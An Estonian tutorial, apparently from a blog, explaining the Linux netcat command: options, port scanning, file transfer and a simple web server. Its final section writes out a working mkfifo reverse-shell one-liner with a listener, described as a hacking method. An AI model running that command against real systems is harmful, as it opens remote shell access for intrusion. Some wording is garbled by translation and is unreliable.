Makseviisid Abuse

Milleks on NC käsk Linuxis

29.08.2024, 02:19

Käsk netcat on vajalik andmete saatmiseks ja vastuvõtmiseks TCP- ja UDP-protokollide abil. Sellel ei ole suurt hulka funktsioone, kuid see on piisav ühenduse kontrollimiseks ja lihtsaks silumiseks. Kuidas suhelda TCP-protokolli kaudu? Seda küsimust küsivad paljud kasutajad. Selles artiklis vastame sellele küsimusele ja näitame ka näiteid käsu tegelikust rakendamisest.

Mida käsk teeb?

Käsk netcat (või nc) on võimas vahend võrguühendustega töötamiseks. Seda kasutavad sageli süsteemiadministraatorid ja arendajad erinevate ülesannete täitmiseks. Siin on toodud netcat'i peamised funktsioonid ja omadused:

  1. TCP/UDP-ühenduste loomine: võimaldab luua ühendusi kaughostidega, kasutades TCP- ja UDP-protokolle.
  2. Pordi kuulamine: saab kasutada serverina, et kuulata sissetulevaid ühendusi konkreetsel pordil.
  3. Andmeedastus: andmete edastamine arvutite vahel üle võrgu. See võib olla kasulik failiedastuseks või sõnumiedastuseks.
  4. Võrgurakenduste silumine: kasutatakse võrguteenuste testimiseks ja silumiseks, võimaldades saata ja vastu võtta suvalisi andmeid.
  5. Lihtsate vestluste loomine: kahe süsteemi vahel saab luua lihtsat tekstisuhtlust.
  6. Pordi skaneerimine: saab kasutada avatud portide kontrollimiseks eemal asuvatel hostidel.
  7. Tunneldamine: saab kasutada tunnelite loomiseks, et suunata liiklust läbi teiste portide või hostide.
  8. Töötamine proxy'dega: saab kasutada proxy serveritega töötamiseks ja mitmesuguste võrguülesannete täitmiseks.

netcat on mitmekülgne tööriist, mida saab kasutada mitmesugustes stsenaariumides, alates lihtsast sõnumite edastamisest kuni keeruliste võrguoperatsioonideni.

Valikud

Alustame süntaksist ja kõige populaarsematest:

  • -6 - kasutada IPv6-protokolli. Vaikimisi on vastavalt -4 ja IPv4;
  • -h - kuvab abi koos kättesaadavate parameetrite loeteluga;
  • -i - delay - lisab viivituse stringide saatmise või portide skaneerimise vahel. See määratakse sekundites;
  • -l - kuulamisrežiim. Kasutatakse koos pordi spetsifikatsiooniga;
  • -N - ühenduse sulgemine, kui faili saatmisel jõutakse selle lõppu;
  • -n - töötab IP-aadressidega otse ilma DNS-ita, lülitab ka portide skaneerimise välja;
  • -P - user_name - määrata kasutajanimi, mille abil ühenduda proxy'ga;
  • -x - address:port - määrab aadressi ja pordi, mille kaudu proxy'ga ühenduda;
  • -p - port - määrata portnumber. Enamikul juhtudel loetakse port ilma parameetrit määramata;
  • -U - kasutada UNIX domeenipesa (protsessidevaheliseks suhtluseks);
  • -u - kasutada UDP-protokolli, vaikimisi kasutatakse TCP;
  • -v - üksikasjalik režiim. Kasutatakse skaneerimisel;
  • -W number_packets - ühenduse sulgemine pärast teatud arvu pakettide vastuvõtmist;
  • -w timer - lülitab sisse taimeri, et piirata ühenduse kestust. See on määratud sekundites;
  • -z - keelab andmete saatmise. Seda kasutatakse skaneerimise ajal.

Käsk on järgmises vormis (parameetrid pordi aadress):

$ nc

Järgnevalt räägime, kuidas käsku kasutada.

Pordi kontrollimine

Kontrollimine on netcat'i peamine kasutusviis. Tuleb kasutada kahte parameetrit -vz, määrata aadress ja port. Saate määrata aadresside vahemiku, kuid sel juhul on parem sõeluda ainult avatud pordid käsugagrep. Skaneerime kohaliku võrgu aadressi pordid:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Skaneerime samamoodi UDP-porti, lisades parameetri -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Peamist erinevust TCP ja UDP vahel peaksite teadma. Nii et UDP-portides on alati saadaval.

Kuulates porti

Parameeter -l on mõeldud pordi kuulamiseks. Sageli piisab sellest, kuid te võite lubada üksikasjalikku režiimi:

$ nc -nlv 8080

Pidage meeles, et TCP-protokolli kasutamisel peab port olema vaba, muidu ilmub viga Juba kasutusel. Kõiki porte ei saa tavakasutajad kasutada, näiteks port 80 (HTTP), tõenäoliselt on see hõivatud mõne teise protsessi poolt ja nõuab superkasutajate õigusi.

Failivahetus

Käsu kasulik võime on andmevahetus. Lihtne näide on tekstivestlus. Selleks, et alustada vestlust ühes arvutis, käivitage utiliit portide kuulamise režiimis:

$ nc -lp 8080

Teises arvutis tuleb määrata esimese arvuti aadress ja sama port. Samuti ärge unustage kontrollida, et port oleks avatud:

$ nc 0.0.0.0 8080

Nii saate te sõnumeid saata ja vastu võtta. See tähendab, et käsk on mõeldud failide vahetamiseks. Põhimõte on sama, ainult et väljund tuleb ümber suunata faili, nimelt paste.txt:

$ nc -l 8080 > paste.txt

Teises arvutis on sisendiks fail copy.txt. Ei ole üleliigne kasutada -N parameetrit, et ühendus pärast failiülekannet sulgeda:

$ nc -N 0.0.0.0 8080 < copy.txt

Faili edastamisel on oluline järgida järjekorda, kõigepealt avada kuulamine ja alles siis saata fail. Käsk nc on toimiv, kuid kaugeltki mitte parim viis failide edastamiseks. Selle ülesande täitmiseks on olemas tõhusamad ja kasulikumad vahendid.

Lihtne veebiserver

Kuna NC käsk ei toimi TCP-protokolliga, võimaldab see nii HTTP-päringute saatmist kui ka vastuvõtmist. Seega võib utiliit muutuda lihtsaks veebiserveriks. Jah, midagi keerulisemat kui tühja lehte ei saa sel moel teha, kuid operatsioon ei võta peaaegu üldse aega ja plussiks on see, et te ei pea midagi täiendavalt installima.

Näidisvormil HTTP vastus failiga index.html. Kui rääkida np-st endast, siis on hea mõte seada -w 1 parameetriga taimeri, mis katkestab ühenduse, kui brauser ei tee seda:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Et saada andmeid veebilehelt, võite moodustada päringu ja saata selle soovitatud aadressile ja portile. Kuid see viis on üsna keeruline, parem on kasutada vastavat CURL käsku.

Remote Shell

Eespool käsitletud näidete põhjal ei ole raske järeldada, et käsk võimaldab korraldada kaugjuurdepääsu arvuti kestale. Varem oli NC utiliidil mitu parameetrit, et avada ligipääs terminalile. Parameeter -e on utiliidist juba ammu eemaldatud, nii et lihtsat ligipääsu terminalile enam ei ole. Rakenduse enda turvalisus on muutunud kõrgemaks, kuid see võib endiselt töötada koos teistega.

Näitame ühendust nimega kanali mkfifo abil. Kõigepealt hakkame kuulama arvutis seda porti, kuhu me pääseme ligi:

$ nc -lvnp 8080

Läheme otse käsuga, et avada terminal. Kõigepealt kustutame vana nimega kanal(rm /tmp/f), loome selle asemele uue(mkfifo /tmp/f), loeme selle sisu(cat /tmp/f) ja saadame selle väljundisse shell-käsu(sh -i 2>&1). Pärast seda tuleb veel käivitada nc väljundiga meie nimetatud kanalisse(nc 0.0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Pidage meeles, et see on üks viis häkkimiseks, kuid see võib olla kasulik, kui ssh-ga on probleeme. Rünnaku vältimiseks konfigureerige turvapoliitika ja tulemüür.